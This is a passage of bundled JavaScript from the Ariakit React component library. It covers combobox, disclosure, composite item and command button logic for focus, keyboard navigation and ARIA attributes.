      onMouseDownProp == null ? void 0 : onMouseDownProp(event);
      if (event.defaultPrevented) return;
      if (event.button) return;
      if (event.ctrlKey) return;
      if (!store) return;
      if (blurActiveItemOnClickProp(event)) {
        store.setActiveId(null);
      }
      if (setValueOnClickProp(event)) {
        store.setValue(value);
      }
      if (showOnClickProp(event)) {
        queueBeforeEvent(event.currentTarget, "mouseup", store.show);
      }
    });
    const onKeyDownProp = props.onKeyDown;
    const showOnKeyPressProp = useBooleanEvent(showOnKeyPress != null ? showOnKeyPress : canShow);
    const onKeyDown = useEvent((event) => {
      onKeyDownProp == null ? void 0 : onKeyDownProp(event);
      if (!event.repeat) {
        canAutoSelectRef.current = false;
      }
      if (event.defaultPrevented) return;
      if (event.ctrlKey) return;
      if (event.altKey) return;
      if (event.shiftKey) return;
      if (event.metaKey) return;
      if (!store) return;
      const { open: open2 } = store.getState();
      if (open2) return;
      if (event.key === "ArrowUp" || event.key === "ArrowDown") {
        if (showOnKeyPressProp(event)) {
          event.preventDefault();
          store.show();
        }
      }
    });
    const onBlurProp = props.onBlur;
    const onBlur = useEvent((event) => {
      canAutoSelectRef.current = false;
      onBlurProp == null ? void 0 : onBlurProp(event);
      if (event.defaultPrevented) return;
    });
    const id = useId(props.id);
    const ariaAutoComplete = isAriaAutoCompleteValue(autoComplete) ? autoComplete : void 0;
    const isActiveItem = store.useState((state) => state.activeId === null);
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
      id,
      role: "combobox",
      "aria-autocomplete": ariaAutoComplete,
      "aria-haspopup": getPopupRole(contentElement, "listbox"),
      "aria-expanded": open,
      "aria-controls": contentElement == null ? void 0 : contentElement.id,
      "data-active-item": isActiveItem || void 0,
      value
    }, props), {
      ref: useMergeRefs(ref, props.ref),
      onChange,
      onCompositionEnd,
      onMouseDown,
      onKeyDown,
      onBlur
    });
    props = useComposite(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
      store,
      focusable
    }, props), {
      // Enable inline autocomplete when the user moves from the combobox input
      // to an item.
      moveOnKeyPress: (event) => {
        if (isFalsyBooleanCallback(moveOnKeyPress, event)) return false;
        if (inline) setCanInline(true);
        return true;
      }
    }));
    props = usePopoverAnchor(_3YLGPPWQ_spreadValues({ store }, props));
    return _3YLGPPWQ_spreadValues({ autoComplete: "off" }, props);
  }
);
var Combobox = forwardRef2(function Combobox2(props) {
  const htmlProps = useCombobox(props);
  return createElement(combobox_TagName, htmlProps);
});


;// ./node_modules/@ariakit/react-core/esm/__chunks/VGCJ63VH.js
"use client";







// src/disclosure/disclosure-content.tsx




var VGCJ63VH_TagName = "div";
function afterTimeout(timeoutMs, cb) {
  const timeoutId = setTimeout(cb, timeoutMs);
  return () => clearTimeout(timeoutId);
}
function VGCJ63VH_afterPaint(cb) {
  let raf = requestAnimationFrame(() => {
    raf = requestAnimationFrame(cb);
  });
  return () => cancelAnimationFrame(raf);
}
function parseCSSTime(...times) {
  return times.join(", ").split(", ").reduce((longestTime, currentTimeString) => {
    const multiplier = currentTimeString.endsWith("ms") ? 1 : 1e3;
    const currentTime = Number.parseFloat(currentTimeString || "0s") * multiplier;
    if (currentTime > longestTime) return currentTime;
    return longestTime;
  }, 0);
}
function isHidden(mounted, hidden, alwaysVisible) {
  return !alwaysVisible && hidden !== false && (!mounted || !!hidden);
}
var useDisclosureContent = createHook(function useDisclosureContent2(_a) {
  var _b = _a, { store, alwaysVisible } = _b, props = __objRest(_b, ["store", "alwaysVisible"]);
  const context = useDisclosureProviderContext();
  store = store || context;
  invariant(
    store,
     false && 0
  );
  const ref = (0,external_React_.useRef)(null);
  const id = useId(props.id);
  const [transition, setTransition] = (0,external_React_.useState)(null);
  const open = store.useState("open");
  const mounted = store.useState("mounted");
  const animated = store.useState("animated");
  const contentElement = store.useState("contentElement");
  const otherElement = useStoreState(store.disclosure, "contentElement");
  useSafeLayoutEffect(() => {
    if (!ref.current) return;
    store == null ? void 0 : store.setContentElement(ref.current);
  }, [store]);
  useSafeLayoutEffect(() => {
    let previousAnimated;
    store == null ? void 0 : store.setState("animated", (animated2) => {
      previousAnimated = animated2;
      return true;
    });
    return () => {
      if (previousAnimated === void 0) return;
      store == null ? void 0 : store.setState("animated", previousAnimated);
    };
  }, [store]);
  useSafeLayoutEffect(() => {
    if (!animated) return;
    if (!(contentElement == null ? void 0 : contentElement.isConnected)) {
      setTransition(null);
      return;
    }
    return VGCJ63VH_afterPaint(() => {
      setTransition(open ? "enter" : mounted ? "leave" : null);
    });
  }, [animated, contentElement, open, mounted]);
  useSafeLayoutEffect(() => {
    if (!store) return;
    if (!animated) return;
    if (!transition) return;
    if (!contentElement) return;
    const stopAnimation = () => store == null ? void 0 : store.setState("animating", false);
    const stopAnimationSync = () => (0,external_ReactDOM_namespaceObject.flushSync)(stopAnimation);
    if (transition === "leave" && open) return;
    if (transition === "enter" && !open) return;
    if (typeof animated === "number") {
      const timeout2 = animated;
      return afterTimeout(timeout2, stopAnimationSync);
    }
    const {
      transitionDuration,
      animationDuration,
      transitionDelay,
      animationDelay
    } = getComputedStyle(contentElement);
    const {
      transitionDuration: transitionDuration2 = "0",
      animationDuration: animationDuration2 = "0",
      transitionDelay: transitionDelay2 = "0",
      animationDelay: animationDelay2 = "0"
    } = otherElement ? getComputedStyle(otherElement) : {};
    const delay = parseCSSTime(
      transitionDelay,
      animationDelay,
      transitionDelay2,
      animationDelay2
    );
    const duration = parseCSSTime(
      transitionDuration,
      animationDuration,
      transitionDuration2,
      animationDuration2
    );
    const timeout = delay + duration;
    if (!timeout) {
      if (transition === "enter") {
        store.setState("animated", false);
      }
      stopAnimation();
      return;
    }
    const frameRate = 1e3 / 60;
    const maxTimeout = Math.max(timeout - frameRate, 0);
    return afterTimeout(maxTimeout, stopAnimationSync);
  }, [store, animated, contentElement, otherElement, open, transition]);
  props = useWrapElement(
    props,
    (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DialogScopedContextProvider, { value: store, children: element }),
    [store]
  );
  const hidden = isHidden(mounted, props.hidden, alwaysVisible);
  const styleProp = props.style;
  const style = (0,external_React_.useMemo)(() => {
    if (hidden) {
      return _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, styleProp), { display: "none" });
    }
    return styleProp;
  }, [hidden, styleProp]);
  props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
    id,
    "data-open": open || void 0,
    "data-enter": transition === "enter" || void 0,
    "data-leave": transition === "leave" || void 0,
    hidden
  }, props), {
    ref: useMergeRefs(id ? store.setContentElement : null, ref, props.ref),
    style
  });
  return removeUndefinedValues(props);
});
var DisclosureContentImpl = forwardRef2(function DisclosureContentImpl2(props) {
  const htmlProps = useDisclosureContent(props);
  return createElement(VGCJ63VH_TagName, htmlProps);
});
var DisclosureContent = forwardRef2(function DisclosureContent2(_a) {
  var _b = _a, {
    unmountOnHide
  } = _b, props = __objRest(_b, [
    "unmountOnHide"
  ]);
  const context = useDisclosureProviderContext();
  const store = props.store || context;
  const mounted = useStoreState(
    store,
    (state) => !unmountOnHide || (state == null ? void 0 : state.mounted)
  );
  if (mounted === false) return null;
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DisclosureContentImpl, _3YLGPPWQ_spreadValues({}, props));
});



;// ./node_modules/@ariakit/react-core/esm/__chunks/HUWAI7RB.js
"use client";






// src/combobox/combobox-list.tsx



var HUWAI7RB_TagName = "div";
var useComboboxList = createHook(
  function useComboboxList2(_a) {
    var _b = _a, { store, alwaysVisible } = _b, props = __objRest(_b, ["store", "alwaysVisible"]);
    const scopedContext = useComboboxScopedContext(true);
    const context = useComboboxContext();
    store = store || context;
    const scopedContextSameStore = !!store && store === scopedContext;
    invariant(
      store,
       false && 0
    );
    const ref = (0,external_React_.useRef)(null);
    const id = useId(props.id);
    const mounted = store.useState("mounted");
    const hidden = isHidden(mounted, props.hidden, alwaysVisible);
    const style = hidden ? _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props.style), { display: "none" }) : props.style;
    const multiSelectable = store.useState(
      (state) => Array.isArray(state.selectedValue)
    );
    const role = useAttribute(ref, "role", props.role);
    const isCompositeRole = role === "listbox" || role === "tree" || role === "grid";
    const ariaMultiSelectable = isCompositeRole ? multiSelectable || void 0 : void 0;
    const [hasListboxInside, setHasListboxInside] = (0,external_React_.useState)(false);
    const contentElement = store.useState("contentElement");
    useSafeLayoutEffect(() => {
      if (!mounted) return;
      const element = ref.current;
      if (!element) return;
      if (contentElement !== element) return;
      const callback = () => {
        setHasListboxInside(!!element.querySelector("[role='listbox']"));
      };
      const observer = new MutationObserver(callback);
      observer.observe(element, {
        subtree: true,
        childList: true,
        attributeFilter: ["role"]
      });
      callback();
      return () => observer.disconnect();
    }, [mounted, contentElement]);
    if (!hasListboxInside) {
      props = _3YLGPPWQ_spreadValues({
        role: "listbox",
        "aria-multiselectable": ariaMultiSelectable
      }, props);
    }
    props = useWrapElement(
      props,
      (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxScopedContextProvider, { value: store, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxListRoleContext.Provider, { value: role, children: element }) }),
      [store, role]
    );
    const setContentElement = id && (!scopedContext || !scopedContextSameStore) ? store.setContentElement : null;
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
      id,
      hidden
    }, props), {
      ref: useMergeRefs(setContentElement, ref, props.ref),
      style
    });
    return removeUndefinedValues(props);
  }
);
var ComboboxList = forwardRef2(function ComboboxList2(props) {
  const htmlProps = useComboboxList(props);
  return createElement(HUWAI7RB_TagName, htmlProps);
});



;// ./node_modules/@ariakit/react-core/esm/__chunks/UQQRIHDV.js
"use client";





// src/composite/composite-hover.tsx




var UQQRIHDV_TagName = "div";
function getMouseDestination(event) {
  const relatedTarget = event.relatedTarget;
  if ((relatedTarget == null ? void 0 : relatedTarget.nodeType) === Node.ELEMENT_NODE) {
    return relatedTarget;
  }
  return null;
}
function hoveringInside(event) {
  const nextElement = getMouseDestination(event);
  if (!nextElement) return false;
  return contains(event.currentTarget, nextElement);
}
var UQQRIHDV_symbol = Symbol("composite-hover");
function movingToAnotherItem(event) {
  let dest = getMouseDestination(event);
  if (!dest) return false;
  do {
    if (PBFD2E7P_hasOwnProperty(dest, UQQRIHDV_symbol) && dest[UQQRIHDV_symbol]) return true;
    dest = dest.parentElement;
  } while (dest);
  return false;
}
var useCompositeHover = createHook(
  function useCompositeHover2(_a) {
    var _b = _a, {
      store,
      focusOnHover = true,
      blurOnHoverEnd = !!focusOnHover
    } = _b, props = __objRest(_b, [
      "store",
      "focusOnHover",
      "blurOnHoverEnd"
    ]);
    const context = useCompositeContext();
    store = store || context;
    invariant(
      store,
       false && 0
    );
    const isMouseMoving = useIsMouseMoving();
    const onMouseMoveProp = props.onMouseMove;
    const focusOnHoverProp = useBooleanEvent(focusOnHover);
    const onMouseMove = useEvent((event) => {
      onMouseMoveProp == null ? void 0 : onMouseMoveProp(event);
      if (event.defaultPrevented) return;
      if (!isMouseMoving()) return;
      if (!focusOnHoverProp(event)) return;
      if (!hasFocusWithin(event.currentTarget)) {
        const baseElement = store == null ? void 0 : store.getState().baseElement;
        if (baseElement && !hasFocus(baseElement)) {
          baseElement.focus();
        }
      }
      store == null ? void 0 : store.setActiveId(event.currentTarget.id);
    });
    const onMouseLeaveProp = props.onMouseLeave;
    const blurOnHoverEndProp = useBooleanEvent(blurOnHoverEnd);
    const onMouseLeave = useEvent((event) => {
      var _a2;
      onMouseLeaveProp == null ? void 0 : onMouseLeaveProp(event);
      if (event.defaultPrevented) return;
      if (!isMouseMoving()) return;
      if (hoveringInside(event)) return;
      if (movingToAnotherItem(event)) return;
      if (!focusOnHoverProp(event)) return;
      if (!blurOnHoverEndProp(event)) return;
      store == null ? void 0 : store.setActiveId(null);
      (_a2 = store == null ? void 0 : store.getState().baseElement) == null ? void 0 : _a2.focus();
    });
    const ref = (0,external_React_.useCallback)((element) => {
      if (!element) return;
      element[UQQRIHDV_symbol] = true;
    }, []);
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
      ref: useMergeRefs(ref, props.ref),
      onMouseMove,
      onMouseLeave
    });
    return removeUndefinedValues(props);
  }
);
var CompositeHover = memo2(
  forwardRef2(function CompositeHover2(props) {
    const htmlProps = useCompositeHover(props);
    return createElement(UQQRIHDV_TagName, htmlProps);
  })
);



;// ./node_modules/@ariakit/react-core/esm/__chunks/RZ4GPYOB.js
"use client";





// src/collection/collection-item.tsx


var RZ4GPYOB_TagName = "div";
var useCollectionItem = createHook(
  function useCollectionItem2(_a) {
    var _b = _a, {
      store,
      shouldRegisterItem = true,
      getItem = identity,
      element: element
    } = _b, props = __objRest(_b, [
      "store",
      "shouldRegisterItem",
      "getItem",
      // @ts-expect-error This prop may come from a collection renderer.
      "element"
    ]);
    const context = useCollectionContext();
    store = store || context;
    const id = useId(props.id);
    const ref = (0,external_React_.useRef)(element);
    (0,external_React_.useEffect)(() => {
      const element2 = ref.current;
      if (!id) return;
      if (!element2) return;
      if (!shouldRegisterItem) return;
      const item = getItem({ id, element: element2 });
      return store == null ? void 0 : store.renderItem(item);
    }, [id, shouldRegisterItem, getItem, store]);
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
      ref: useMergeRefs(ref, props.ref)
    });
    return removeUndefinedValues(props);
  }
);
var CollectionItem = forwardRef2(function CollectionItem2(props) {
  const htmlProps = useCollectionItem(props);
  return createElement(RZ4GPYOB_TagName, htmlProps);
});



;// ./node_modules/@ariakit/react-core/esm/__chunks/KUU7WJ55.js
"use client";





// src/command/command.tsx





var KUU7WJ55_TagName = "button";
function isNativeClick(event) {
  if (!event.isTrusted) return false;
  const element = event.currentTarget;
  if (event.key === "Enter") {
    return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "A";
  }
  if (event.key === " ") {
    return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "INPUT" || element.tagName === "SELECT";
  }
  return false;
}
var KUU7WJ55_symbol = Symbol("command");
var useCommand = createHook(
  function useCommand2(_a) {
    var _b = _a, { clickOnEnter = true, clickOnSpace = true } = _b, props = __objRest(_b, ["clickOnEnter", "clickOnSpace"]);
    const ref = (0,external_React_.useRef)(null);
    const [isNativeButton, setIsNativeButton] = (0,external_React_.useState)(false);
    (0,external_React_.useEffect)(() => {
      if (!ref.current) return;
      setIsNativeButton(isButton(ref.current));
    }, []);
    const [active, setActive] = (0,external_React_.useState)(false);
    const activeRef = (0,external_React_.useRef)(false);
    const disabled = disabledFromProps(props);
    const [isDuplicate, metadataProps] = useMetadataProps(props, KUU7WJ55_symbol, true);
    const onKeyDownProp = props.onKeyDown;
    const onKeyDown = useEvent((event) => {
      onKeyDownProp == null ? void 0 : onKeyDownProp(event);
      const element = event.currentTarget;
      if (event.defaultPrevented) return;
      if (isDuplicate) return;
      if (disabled) return;
      if (!isSelfTarget(event)) return;
      if (isTextField(element)) return;
      if (element.isContentEditable) return;
      const isEnter = clickOnEnter && event.key === "Enter";
      const isSpace = clickOnSpace && event.key === " ";
      const shouldPreventEnter = event.key === "Enter" && !clickOnEnter;
      const shouldPreventSpace = event.key === " " && !clickOnSpace;
      if (shouldPreventEnter || shouldPreventSpace) {
        event.preventDefault();
        return;
      }
      if (isEnter || isSpace) {
        const nativeClick = isNativeClick(event);
        if (isEnter) {
          if (!nativeClick) {
            event.preventDefault();
            const _a2 = event, { view } = _a2, eventInit = __objRest(_a2, ["view"]);
            const click = () => fireClickEvent(element, eventInit);
            if (isFirefox()) {
              queueBeforeEvent(element, "keyup", click);
            } else {
              queueMicrotask(click);
            }
          }
        } else if (isSpace) {
          activeRef.current = true;
          if (!nativeClick) {
            event.preventDefault();
            setActive(true);
          }
        }
      }
    });
    const onKeyUpProp = props.onKeyUp;
    const onKeyUp = useEvent((event) => {
      onKeyUpProp == null ? void 0 : onKeyUpProp(event);
      if (event.defaultPrevented) return;
      if (isDuplicate) return;
      if (disabled) return;
      if (event.metaKey) return;
      const isSpace = clickOnSpace && event.key === " ";
      if (activeRef.current && isSpace) {
        activeRef.current = false;
        if (!isNativeClick(event)) {
          event.preventDefault();
          setActive(false);
          const element = event.currentTarget;
          const _a2 = event, { view } = _a2, eventInit = __objRest(_a2, ["view"]);
          queueMicrotask(() => fireClickEvent(element, eventInit));
        }
      }
    });
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues(_3YLGPPWQ_spreadValues({
      "data-active": active || void 0,
      type: isNativeButton ? "button" : void 0
    }, metadataProps), props), {
      ref: useMergeRefs(ref, props.ref),
      onKeyDown,
      onKeyUp
    });
    props = useFocusable(props);
    return props;
  }
);
var Command = forwardRef2(function Command2(props) {
  const htmlProps = useCommand(props);
  return createElement(KUU7WJ55_TagName, htmlProps);
});



;// ./node_modules/@ariakit/react-core/esm/__chunks/P2CTZE2T.js
"use client";









// src/composite/composite-item.tsx






var P2CTZE2T_TagName = "button";
function isEditableElement(element) {
  if (isTextbox(element)) return true;
  return element.tagName === "INPUT" && !isButton(element);
}
function getNextPageOffset(scrollingElement, pageUp = false) {
  const height = scrollingElement.clientHeight;
  const { top } = scrollingElement.getBoundingClientRect();
  const pageSize = Math.max(height * 0.875, height - 40) * 1.5;
  const pageOffset = pageUp ? height - pageSize + top : pageSize + top;
  if (scrollingElement.tagName === "HTML") {
    return pageOffset + scrollingElement.scrollTop;
  }
  return pageOffset;
}
function getItemOffset(itemElement, pageUp = false) {
  const { top } = itemElement.getBoundingClientRect();
  if (pageUp) {
    return top + itemElement.clientHeight;
  }
  return top;
}
function findNextPageItemId(element, store, next, pageUp = false) {
  var _a;
  if (!store) return;
  if (!next) return;
  const { renderedItems } = store.getState();
  const scrollingElement = getScrollingElement(element);
  if (!scrollingElement) return;
  const nextPageOffset = getNextPageOffset(scrollingElement, pageUp);
  let id;
  let prevDifference;
  for (let i = 0; i < renderedItems.length; i += 1) {
    const previousId = id;
    id = next(i);
    if (!id) break;
    if (id === previousId) continue;
    const itemElement = (_a = getEnabledItem(store, id)) == null ? void 0 : _a.element;
    if (!itemElement) continue;
    const itemOffset = getItemOffset(itemElement, pageUp);
    const difference = itemOffset - nextPageOffset;
    const absDifference = Math.abs(difference);
    if (pageUp && difference <= 0 || !pageUp && difference >= 0) {
      if (prevDifference !== void 0 && prevDifference < absDifference) {
        id = previousId;
      }
      break;
    }
    prevDifference = absDifference;
  }
  return id;
}
function targetIsAnotherItem(event, store) {
  if (isSelfTarget(event)) return false;
  return isItem(store, event.target);
}
var useCompositeItem = createHook(
  function useCompositeItem2(_a) {
    var _b = _a, {
      store,
      rowId: rowIdProp,
      preventScrollOnKeyDown = false,
      moveOnKeyPress = true,
      tabbable = false,
      getItem: getItemProp,
      "aria-setsize": ariaSetSizeProp,
      "aria-posinset": ariaPosInSetProp
    } = _b, props = __objRest(_b, [
      "store",
      "rowId",
      "preventScrollOnKeyDown",
      "moveOnKeyPress",
      "tabbable",
      "getItem",
      "aria-setsize",
      "aria-posinset"
    ]);
    const context = useCompositeContext();
    store = store || context;
    const id = useId(props.id);
    const ref = (0,external_React_.useRef)(null);
    const row = (0,external_React_.useContext)(CompositeRowContext);
    const disabled = disabledFromProps(props);
    const trulyDisabled = disabled && !props.accessibleWhenDisabled;
    const {
      rowId,
      baseElement,
      isActiveItem,
      ariaSetSize,
      ariaPosInSet,
      isTabbable
    } = useStoreStateObject(store, {
      rowId(state) {
        if (rowIdProp) return rowIdProp;
        if (!state) return;
        if (!(row == null ? void 0 : row.baseElement)) return;
        if (row.baseElement !== state.baseElement) return;
        return row.id;
      },
      baseElement(state) {
        return (state == null ? void 0 : state.baseElement) || void 0;
      },
      isActiveItem(state) {
        return !!state && state.activeId === id;
      },
      ariaSetSize(state) {
        if (ariaSetSizeProp != null) return ariaSetSizeProp;
        if (!state) return;
        if (!(row == null ? void 0 : row.ariaSetSize)) return;
        if (row.baseElement !== state.baseElement) return;
        return row.ariaSetSize;
      },
      ariaPosInSet(state) {
        if (ariaPosInSetProp != null) return ariaPosInSetProp;
        if (!state) return;
        if (!(row == null ? void 0 : row.ariaPosInSet)) return;
        if (row.baseElement !== state.baseElement) return;
        const itemsInRow = state.renderedItems.filter(
          (item) => item.rowId === rowId
        );
        return row.ariaPosInSet + itemsInRow.findIndex((item) => item.id === id);
      },
      isTabbable(state) {
        if (!(state == null ? void 0 : state.renderedItems.length)) return true;
        if (state.virtualFocus) return false;
        if (tabbable) return true;
        if (state.activeId === null) return false;
        const item = store == null ? void 0 : store.item(state.activeId);
        if (item == null ? void 0 : item.disabled) return true;
        if (!(item == null ? void 0 : item.element)) return true;
        return state.activeId === id;
      }
    });
    const getItem = (0,external_React_.useCallback)(
      (item) => {
        var _a2;
        const nextItem = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, item), {
          id: id || item.id,
          rowId,
          disabled: !!trulyDisabled,
          children: (_a2 = item.element) == null ? void 0 : _a2.textContent
        });
        if (getItemProp) {
          return getItemProp(nextItem);
        }
        return nextItem;
      },
      [id, rowId, trulyDisabled, getItemProp]
    );
    const onFocusProp = props.onFocus;
    const hasFocusedComposite = (0,external_React_.useRef)(false);
    const onFocus = useEvent((event) => {
      onFocusProp == null ? void 0 : onFocusProp(event);
      if (event.defaultPrevented) return;
      if (isPortalEvent(event)) return;
      if (!id) return;
      if (!store) return;
      if (targetIsAnotherItem(event, store)) return;
      const { virtualFocus, baseElement: baseElement2 } = store.getState();
      store.setActiveId(id);
      if (isTextbox(event.currentTarget)) {
        selectTextField(event.currentTarget);
      }
      if (!virtualFocus) return;
      if (!isSelfTarget(event)) return;
      if (isEditableElement(event.currentTarget)) return;
      if (!(baseElement2 == null ? void 0 : baseElement2.isConnected)) return;
      if (isSafari() && event.currentTarget.hasAttribute("data-autofocus")) {
        event.currentTarget.scrollIntoView({
          block: "nearest",
          inline: "nearest"
        });
      }
      hasFocusedComposite.current = true;
      const fromComposite = event.relatedTarget === baseElement2 || isItem(store, event.relatedTarget);
      if (fromComposite) {
        focusSilently(baseElement2);
      } else {
        baseElement2.focus();
      }
    });
    const onBlurCaptureProp = props.onBlurCapture;
    const onBlurCapture = useEvent((event) => {
      onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
      if (event.defaultPrevented) return;
      const state = store == null ? void 0 : store.getState();
      if ((state == null ? void 0 : state.virtualFocus) && hasFocusedComposite.current) {
        hasFocusedComposite.current = false;
        event.preventDefault();
        event.stopPropagation();
      }
    });
    const onKeyDownProp = props.onKeyDown;
    const preventScrollOnKeyDownProp = useBooleanEvent(preventScrollOnKeyDown);
    const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
    const onKeyDown = useEvent((event) => {
      onKeyDownProp == null ? void 0 : onKeyDownProp(event);
      if (event.defaultPrevented) return;
      if (!isSelfTarget(event)) return;
      if (!store) return;
      const { currentTarget } = event;
      const state = store.getState();
      const item = store.item(id);
      const isGrid = !!(item == null ? void 0 : item.rowId);
      const isVertical = state.orientation !== "horizontal";
      const isHorizontal = state.orientation !== "vertical";
      const canHomeEnd = () => {
        if (isGrid) return true;
        if (isHorizontal) return true;
        if (!state.baseElement) return true;
        if (!isTextField(state.baseElement)) return true;
        return false;
      };
      const keyMap = {
        ArrowUp: (isGrid || isVertical) && store.up,
        ArrowRight: (isGrid || isHorizontal) && store.next,
        ArrowDown: (isGrid || isVertical) && store.down,
        ArrowLeft: (isGrid || isHorizontal) && store.previous,
        Home: () => {
          if (!canHomeEnd()) return;
          if (!isGrid || event.ctrlKey) {
            return store == null ? void 0 : store.first();
          }
          return store == null ? void 0 : store.previous(-1);
        },
        End: () => {
          if (!canHomeEnd()) return;
          if (!isGrid || event.ctrlKey) {
            return store == null ? void 0 : store.last();
          }
          return store == null ? void 0 : store.next(-1);
        },
        PageUp: () => {
          return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.up, true);
        },
        PageDown: () => {
          return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.down);
        }
      };
      const action = keyMap[event.key];
      if (action) {
        if (isTextbox(currentTarget)) {
          const selection = getTextboxSelection(currentTarget);
          const isLeft = isHorizontal && event.key === "ArrowLeft";
          const isRight = isHorizontal && event.key === "ArrowRight";
          const isUp = isVertical && event.key === "ArrowUp";
          const isDown = isVertical && event.key === "ArrowDown";
          if (isRight || isDown) {
            const { length: valueLength } = getTextboxValue(currentTarget);
            if (selection.end !== valueLength) return;
          } else if ((isLeft || isUp) && selection.start !== 0) return;
        }
        const nextId = action();
        if (preventScrollOnKeyDownProp(event) || nextId !== void 0) {
          if (!moveOnKeyPressProp(event)) return;
          event.preventDefault();
          store.move(nextId);
        }
      }
    });
    const providerValue = (0,external_React_.useMemo)(
      () => ({ id, baseElement }),
      [id, baseElement]
    );
    props = useWrapElement(
      props,
      (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CompositeItemContext.Provider, { value: providerValue, children: element }),
      [providerValue]
    );
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
      id,
      "data-active-item": isActiveItem || void 0
    }, props), {
      ref: useMergeRefs(ref, props.ref),
      tabIndex: isTabbable ? props.tabIndex : -1,
      onFocus,
      onBlurCapture,
      onKeyDown
    });
    props = useCommand(props);
    props = useCollectionItem(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
      store
    }, props), {
      getItem,
      shouldRegisterItem: id ? props.shouldRegisterItem : false
    }));
    return removeUndefinedValues(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
      "aria-setsize": ariaSetSize,
      "aria-posinset": ariaPosInSet
    }));
  }
);
var CompositeItem = memo2(
  forwardRef2(function CompositeItem2(props) {
    const htmlProps = useCompositeItem(props);
    return createElement(P2CTZE2T_TagName, htmlProps);
  })
);



;// ./node_modules/@ariakit/react-core/esm/__chunks/ZTDSJLD6.js
"use client";








// src/combobox/combobox-item.tsx






var ZTDSJLD6_TagName = "div";
function isSelected(storeValue, itemValue) {
  if (itemValue == null) return;
  if (storeValue == null) return false;
  if (Array.isArray(storeValue)) {
    return storeValue.includes(itemValue);
  }
  return storeValue === itemValue;
}
function getItemRole(popupRole) {
  var _a;
  const itemRoleByPopupRole = {
    menu: "menuitem",
    listbox: "option",
    tree: "treeitem"
  };
  const key = popupRole;
  return (_a = itemRoleByPopupRole[key]) != null ? _a : "option";
}
var useComboboxItem = createHook(
  function useComboboxItem2(_a) {
    var _b = _a, {
      store,
      value,
      hideOnClick,
      setValueOnClick,
      selectValueOnClick = true,
      resetValueOnSelect,
      focusOnHover = false,
      moveOnKeyPress = true,
      getItem: getItemProp
    } = _b, props = __objRest(_b, [
      "store",
      "value",
      "hideOnClick",
      "setValueOnClick",
      "selectValueOnClick",
      "resetValueOnSelect",
      "focusOnHover",
      "moveOnKeyPress",
      "getItem"
    ]);
    var _a2;
    const context = useComboboxScopedContext();
    store = store || context;
    invariant(
      store,
       false && 0
    );
    const { resetValueOnSelectState, multiSelectable, selected } = useStoreStateObject(store, {
      resetValueOnSelectState: "resetValueOnSelect",
      multiSelectable(state) {
        return Array.isArray(state.selectedValue);
      },
      selected(state) {
        return isSelected(state.selectedValue, value);
      }
    });
    const getItem = (0,external_React_.useCallback)(
      (item) => {
        const nextItem = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, item), { value });
        if (getItemProp) {
          return getItemProp(nextItem);
        }
        return nextItem;
      },
      [value, getItemProp]
    );
    setValueOnClick = setValueOnClick != null ? setValueOnClick : !multiSelectable;
    hideOnClick = hideOnClick != null ? hideOnClick : value != null && !multiSelectable;
    const onClickProp = props.onClick;
    const setValueOnClickProp = useBooleanEvent(setValueOnClick);
    const selectValueOnClickProp = useBooleanEvent(selectValueOnClick);
    const resetValueOnSelectProp = useBooleanEvent(
      (_a2 = resetValueOnSelect != null ? resetValueOnSelect : resetValueOnSelectState) != null ? _a2 : multiSelectable
    );
    const hideOnClickProp = useBooleanEvent(hideOnClick);
    const onClick = useEvent((event) => {
      onClickProp == null ? void 0 : onClickProp(event);
      if (event.defaultPrevented) return;
      if (isDownloading(event)) return;
      if (isOpeningInNewTab(event)) return;
      if (value != null) {
        if (selectValueOnClickProp(event)) {
          if (resetValueOnSelectProp(event)) {
            store == null ? void 0 : store.resetValue();
          }
          store == null ? void 0 : store.setSelectedValue((prevValue) => {
            if (!Array.isArray(prevValue)) return value;
            if (prevValue.includes(value)) {
              return prevValue.filter((v) => v !== value);
            }
            return [...prevValue, value];
          });
        }
        if (setValueOnClickProp(event)) {
          store == null ? void 0 : store.setValue(value);
        }
      }
      if (hideOnClickProp(event)) {
        store == null ? void 0 : store.hide();
      }
    });
    const onKeyDownProp = props.onKeyDown;
    const onKeyDown = useEvent((event) => {
      onKeyDownProp == null ? void 0 : onKeyDownProp(event);
      if (event.defaultPrevented) return;
      const baseElement = store == null ? void 0 : store.getState().baseElement;
      if (!baseElement) return;
      if (hasFocus(baseElement)) return;
      const printable = event.key.length === 1;
      if (printable || event.key === "Backspace" || event.key === "Delete") {
        queueMicrotask(() => baseElement.focus());
        if (isTextField(baseElement)) {
          store == null ? void 0 : store.setValue(baseElement.value);
        }
      }
    });
    if (multiSelectable && selected != null) {
      props = _3YLGPPWQ_spreadValues({
        "aria-selected": selected
      }, props);
    }
    props = useWrapElement(
      props,
